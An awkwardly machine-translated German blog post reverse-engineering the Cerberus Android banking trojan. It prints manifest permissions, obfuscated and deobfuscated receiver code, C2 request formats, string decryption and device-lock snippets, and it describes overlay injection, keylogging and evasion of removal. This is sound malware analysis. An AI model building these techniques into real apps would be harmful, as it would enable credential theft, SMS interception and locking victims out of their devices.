
Auf der Nase 2020 und heute haben wir bereits die Android-Version 9.0 Pie, bei der Google in die Brust schlägt und sagt, dass ihr Produkt geschützt ist. Aber die Bösewichte schlafen nicht und erstellen ihre eigene Malware für Android.
Zufällig stieß ich auf eine verschleierte apk-Datei, bei der es sich um eine Bank-Malware namens „Cerberus“ handelt, die 2019 erschien.
Die APK-Datei dieses Botnetzes kam mit einer ungültigen Serververbindungsadresse zu mir, so dass ein Teil der Arbeits- und Funktionslogik unerforscht geblieben ist, da dieses Botnetz ein „modulares“ System verwendet und die Funktionalität direkt von seinem Server lädt.
Analyse apk Paket
Nachdem ich das apk-Paket analysiert hatte, kompilierte ich die Struktur des Trojaner-Programms:
- Empfänger, Autorun + Alarm;
- Der Dienst wird in einem Zyklus mit einem Intervall von 8 Sekunden ausgeführt. Er ist für die Anzeige einer Popup-Nachricht verantwortlich, um den Eingabehilfedienst zu aktivieren, die Bildschirmsperrfunktion zu aktivieren und Administratorrechte zu deaktivieren.
- Service, Sammeln von Daten von den Sensoren des Geräts, damit die Malware die körperliche Aktivität des Geräts empfängt;
- Service sperrt in einem Zyklus den Gerätebildschirm;
- Der Dienst ist für den Datenaustausch mit dem Server verantwortlich.
- Aktivität, lädt den HTML-Code in die WebView und zeigt den Inhalt an, dient dazu, die Aktivität der Bankanwendung zu ersetzen.
- Aktivität, fordert gefährliche Berechtigungen an.
- Klasse, speichert in sich die Hauptzeilen (String) des Projekts
Beginnen wir mit dem Manifest
Das Manifest der Anwendung ist sehr interessant, und Sie können bereits daraus feststellen, dass es sich nicht um eine einfache Anwendung handelt, sondern um eine gewöhnliche Malware.
Berücksichtigen Sie beispielsweise Berechtigungen für eine Anwendung:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/>
Hier können Sie sehen, dass die Anwendung Zugriff auf SMS, Kontakte, Anrufe, das Internet erhält und sich die Anwendung im Ruhemodus befindet.
Wir gehen noch weiter und sehen Privilegien, die es der Anwendung ermöglichen, die Hauptanwendung für das Empfangen / Senden von SMS zu werden. Dies sind die Bösewichte, mit denen SMS-Nachrichten auf den Telefonen der Opfer versteckt werden.
<activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service>
Und natürlich dient der Empfänger dazu, Dienste automatisch zu starten und SMS abzufangen.
<receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
Administratorrechte, das ist schon viel interessanter. Die Anwendung benötigt sie, um das Entfernen der Anwendung zu blockieren (bei aktivierten Administratorrechten verfügt die Anwendung einfach nicht über die Schaltfläche "Löschen"). Mit diesen Rechten können Sie alles vom Gerät löschen und das Gerät blockieren.
<activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver>
Am interessantesten ist der Accessibility Service. Es wird verwendet, damit die Malware auf den Bildschirm selbst klicken und sich die erforderlichen Berechtigungen einschließlich der Administratorrechte erteilen kann. Mit dieser Berechtigung überwachen Angreifer alle Benutzeraktionen auf dem Gerät.
<service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service>
Nun, der Rest der Dienste und Aktivitäten, die ohne eine gültige Malvari-Serveradresse von geringem Interesse sind.
<activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/>
Im Allgemeinen verwendet die Malware nichts Übernatürliches, sie verwendet keine 0-Tage auf dem Android. Angreifer benötigen eine Erlaubnis des Opfers und nicht mehr, dann erledigt die Malware alles selbst.
Google müsste einige der API-Funktionen für Nicht-Play-Apps einschränken.
Empfänger
Der Code dieser Klasse ist verschleiert, dies verhindert jedoch nicht, dass er untersucht wird.
Verschleierter Code public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } }
Und jetzt eine kleine Erklärung zum Code.
Malvari-Einstellungen werden in einer XML-Datei gespeichert. Die Datei befindet sich im Verzeichnis
/data/data/package_name/shared_prefs/Settings.xml- public String ReadXML - Methode zum Lesen von Einstellungen
- public String SaveXML - Methode zum Speichern von Einstellungen
- public boolean DozeMode - Überprüft, ob der Doze-Modus aktiviert ist
- öffentliche Klasse Service_fa erweitert Service - Service zum Zusammenstellen der körperlichen Aktivität des Geräts (Schritte, Schütteln des Telefons usw.)
- public class Service_server erweitert Service - Service für die Verbindung zum Server
- public class Service_event_loop erweitert Service - Ein Dienst, der in einer Endlosschleife ausgeführt wird, um einige Funktionen von malvari auszuführen
- public void startOffDozeMode - Anforderung zum Deaktivieren des Doze-Modus
- public void startAlarm - Startet den Empfänger alle 10 Sekunden
- public void interceptionSMS - Methode zum Arbeiten mit SMS-Interception
- public boolean isAccessibilityService - Methode zum Überprüfen, ob der Accesibility Service aktiviert ist oder nicht
- public boolean cis - eine Methode, die den Betrieb von Malvari in Ländern der GUS blockiert, nämlich: ua, ru, by, tj, uz, tm, az, am, kz, kg und md (abgekürzte Ländernamen)
Ich habe versucht, den oben beschriebenen verschleierten Code in eine lesbarere und normalere Form zu bringen:
Lesbarer Code public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent);
Daher denke ich, dass der Code für viele Leser verständlicher geworden ist.
Der Empfänger verfügt über 3 Trigger zum Auslösen, dh wenn das Gerät neu gestartet, SMS empfangen oder Alarmon gestartet wird.
Der Empfänger startet außerdem drei Dienste:
- Erfassung der körperlichen Aktivität des Geräts (Service_fa)
- Dienst zum Herstellen einer Verbindung zum Server (Service_server)
- Ein Dienst, der in einem endlosen Zyklus ausgeführt wird, um einige Funktionen von malvari auszuführen (Service_event_loop)
Zunächst wird Service_fa gestartet und erst nachdem das Gerät aktiv ist (wenn der Besitzer des Telefons läuft und das Telefon zittert), werden Service_server und Service_event_loop gestartet. Sie sind der Hauptprozess von Malvari. Auf diese Weise kann die Malvari reale Geräte von Emulatoren und Geräten von Empfängern, AV und anderen aussortieren.
Der Empfänger startet auch eine Anforderung zum Trennen des Doze-Modus und eine Administratorbestätigungsanforderung.
Da die Malware über Administratorrechte verfügt, kann sie erst vom Gerät entfernt werden, wenn die Rechte entfernt wurden.
Administratorrechte
Schauen wir uns die Möglichkeiten an, die wir dank des Admin-Geräts haben.
<?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin>
Das Force-Lock-Element ist für das Sperren der Bildschirmsperre des Geräts und das Löschen der Daten zum Löschen der DATEN, des CACHE und des gesamten Speichers auf dem Gerät verantwortlich (vollständiger Reset).
Service_fa
Damit werden wir uns am Ende den Empfänger ansehen und andere Dienstleistungen in Betracht ziehen. Dieser Dienst, der mithilfe der SensorManager-Klasse Daten von Sensorsensoren abruft, empfängt einfach Aktivitätsdaten und speichert sie in einer XML-Datei.
Dank dessen können Bösewichte eine Aktivitätshistorie abrufen und analysieren, um Emulatoren und besonders faule Benutzer herauszufiltern.
Service_server
Dieser Stream wurde für die Kommunikation mit dem Server erstellt. Die Daten werden in verschlüsselter Form mit dem RC4-Verschlüsselungsalgorithmus an den Server übertragen, der danach alles in base64 codiert.
Wenn der Dienst gestartet wird, sieht die erste Anforderung an den Server folgendermaßen aus:
{ "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" }
Ich habe die an den Server gesendeten Daten zufällig unter dem Namen der Parameter eingegeben. Ich denke, alles ist klar, welcher für was verantwortlich ist. Wir werden nicht mit ihrer Analyse aufhören.
Nun schauen wir uns an, was Serverantworten sein können. Die Malware prüft, ob sie eine leere Antwort zurückgibt. Wenn ja, sortiert sie das Array der Serverdomänen in einer Schleife und sendet diese Anforderung an jede Domäne. Wenn die Antwort die Zeile == "~ I ~" enthält, dann Malware stoppt in dieser Domäne und beginnt damit zu arbeiten.
Wir haben entschieden, mit welcher Domain wir arbeiten. Jetzt sehen wir uns die restlichen Antworten an.
Wenn Response == "|| youNeedMoreResources ||" zurückgegeben wird dann wird sofort eine Anfrage an den Server gestellt, um ein zusätzliches Malvari-Modul zu erhalten:
gate_url? action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}Fahren Sie fort, Antwort == "|| nein ||"
sendet die Anfrage gate_url? action = registration & data = JSON an den Server:
{ "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" }
Diese Anforderung dient dazu, einen neuen Benutzer im Admin-Bereich zu registrieren. Dies ist das Ende der Serveranforderung.
Im Folgenden finden Sie jedoch eine Bedingung, die das Vorhandensein der Datei "system.apk" überprüft.
Verschleierter Code:
if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){}
Vereinfachter Code:
if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {}
Wenn die Datei vorhanden ist, wird JSON in der folgenden Form generiert:
{ "params":"updateSettingsAndCommands", "response":"data" }
Die Antwort vom Server wird an den Antwortparameter übergeben, dann wird json an die Methode übergeben, die sich im system.apk-Modul befindet, und sie wird mit der DexClassLoader-Klasse ausgeführt.
Service_event_loop
Dieser Dienst arbeitet in einer Schleife und wartet auf einen Befehl zum Blockieren des Geräts. Das Gerät wird in der Schleife mit Administratorrechten blockiert.
DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow();
Dieser Dienst kann Administratorrechte deaktivieren. Anscheinend hat der Autor der Malvari beschlossen, dies zur "Selbstzerstörung" der Malvari zu tun, um keine Spuren auf dem Telefon des Opfers zu hinterlassen.
ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName);
Außerdem hat der Zyklus 2 Betriebsgeschwindigkeiten, 1 Sekunde und 8 Sekunden. Wenn der Eingabehilfedienst deaktiviert ist, arbeitet er in der ersten Sekunde und fordert Sie auf, diesen Dienst zu aktivieren. Öffnen Sie einfach die Aktivität und erzwingen Sie die Aktivierung spezieller Funktionen. In der Praxis werden wir dies im Detail betrachten.
Am Ende des Zyklus gibt es auch eine Implementierung wie in Service_server, die jedoch speziell Befehle an eine Methode sendet, die sich im geladenen Modul „system.apk“ befindet, aber die Parameter sind nicht sehr unterschiedlich, siehe JSON:
{ "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" }
tick - Sekunden, in denen der Servicezyklus zählt, Barrierefreiheit - prüft, ob der Accesibility Service aktiviert ist.
Klassenzeichenfolge (n)
Alle Zeilen innerhalb der Klasse werden mit dem RC4-Algorithmus verschlüsselt und dann in base64 codiert.
Ein Beispiel:
verschlüsselte Zeichenfolge: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
Dabei sind die ersten 12 Zeichen von straka der Entschlüsselungsschlüssel des RC4-Algorithmus
Schlüssel: yyshybiwijuj
Chiffretext: YzdkZDdkMjRlYjJmYjU5Y2Qw
Hier ist ein Teil des Klassencodes String (s)
public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc=");
Ich habe ein Skript geschrieben, um diese Zeilen in ihre normale Form zu konvertieren. Dies hat mir geholfen, ein wenig Zeit zu vertreiben.
public final String str_statMails = "statMails"; public final String str_activeDevice = "activeDevice"; public final String str_timeWorking = "timeWorking"; public final String str_statDownloadModule = "statDownloadModule"; public final String str_lockDevice = "lockDevice"; public final String str_offSound = "offSound"; public final String str_keylogger = "keylogger"; public final String str_activeInjection = "activeInjection"; public final String str_timeInject = "timeInject";
Wir sehen auch, was in dieser Klasse gespeichert ist:
public final String str_url = "https://twitter.com/LukasStefanko"; public final String str_Accessibility = "Flash Player Service"; public final String str_gate1 = "action=registration&data="; public final String str_gate2 = "action=sendInjectLogs&data="; public final String str_gate3 = "action=sendSmsLogs&data="; public final String str_gate4 = "action=timeInject&data="; public final String str_gate5 = "action=sendKeylogger&data="; public final String str_gate6 = "action=getModule&data="; public final String str_gate7 = "action=checkap&data="; public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";
Lukas Stefankos Twitter-Account (@LukasStefanko) ist auf der Server-URL aufgeführt, anscheinend wollte der Autor Lucas etwas scherzen oder etwas sagen (dies ist ein Analyst von NOD32), der Name Accessibility Service + ist auch hier im Manifest android: label = “Flash Player gespeichert Service “und eine Liste der Länder, für die die Malware nicht funktioniert.
Der Rest
Beschreiben Sie kurz die Arbeit der Injektionen. Es wird einfach implementiert. Wenn der Eingabehilfedienst aktiviert ist, erfasst dieser Dienst einfach das Ereignis des Starts der Bankanwendung und startet seine Aktivität zusätzlich zu der Aktivität der Bank. Dort verfügt er über ein WebView-Objekt, das die HTML-Fälschung der Bank herunterlädt. Anschließend empfängt er Daten mit JavaScript und sendet Daten an Malvari Server.
Ebenfalls in diesem Dienst ist Keylogger implementiert, der das Entfernen von Malware blockiert und automatisch auf Bestätigungen klickt. In der Anwendung com.miui.securitycenter wurde eine Sicherheitsunterbrechungsinteraktion festgestellt. Diese Anwendung heißt "Sicherheit" und wird auf Xiaomi-Geräten verwendet. Ihre Hauptaufgabe besteht darin, die Sicherheit Ihrer sensiblen Daten zu überwachen. Es wurde auch ein Code gefunden, der "Google Play Protect" mithilfe der Autoclick-Methode automatisch deaktiviert.
Lass uns weiter üben
Ich habe es geschafft, die Bösewichte Twitter zu finden und einen Screenshot des Admin-Panels zu bekommen

Installieren Sie das apk-Paket auf einem Emulator mit API 27.
Auf dem Desktop wurde ein Flash-Player-Symbol namens „Flash Player“ angezeigt
Wir warten auf das Symbol und haben die Malware gestartet.
Nach dem Starten der Malvari beginnt die Aktivität automatisch mit der Anforderung, den Eingabehilfedienst zu aktivieren. Wenn Sie ihn minimieren, wird er erneut angezeigt. Dies geschieht in einem Zyklus, bis ich den Dienst einschalte.
Nach dem Aktivieren des Kontrollkästchens "Eingabehilfen" wurde ein automatischer Übergang von den Einstellungen zum Desktop durchgeführt, und ich konnte nicht mehr zu den Einstellungen des Eingabehilfen-Dienstes gelangen. Das Desktopsymbol verschwand ebenfalls. Nach einigen Sekunden wurde die Anforderung zum Herunterfahren des Doze-Modus angezeigt und dank des automatischen Klickens der Sonderfunktionen automatisch deaktiviert .
Als nächstes folgte auf die gleiche Weise die automatische Bestätigung der Administratorrechte. Es war nicht möglich, die Malware manuell zu löschen, da sie beim Öffnen der Einstellungen für diese Anwendung automatisch wieder beendet wurde (GLOBAL_ACTION_BACK).
Eigentlich ist das alles im ersten Teil, ich werde bald den zweiten Teil mit einem zusätzlichen und möglicherweise mit dem Hauptmodul dieses Bots schreiben, da ich die apk-Datei der Malware mit einem gültigen Link zum Server nicht finden konnte.
Malvari Reverse wurde in Verbindung mit
keklick1337 implementiert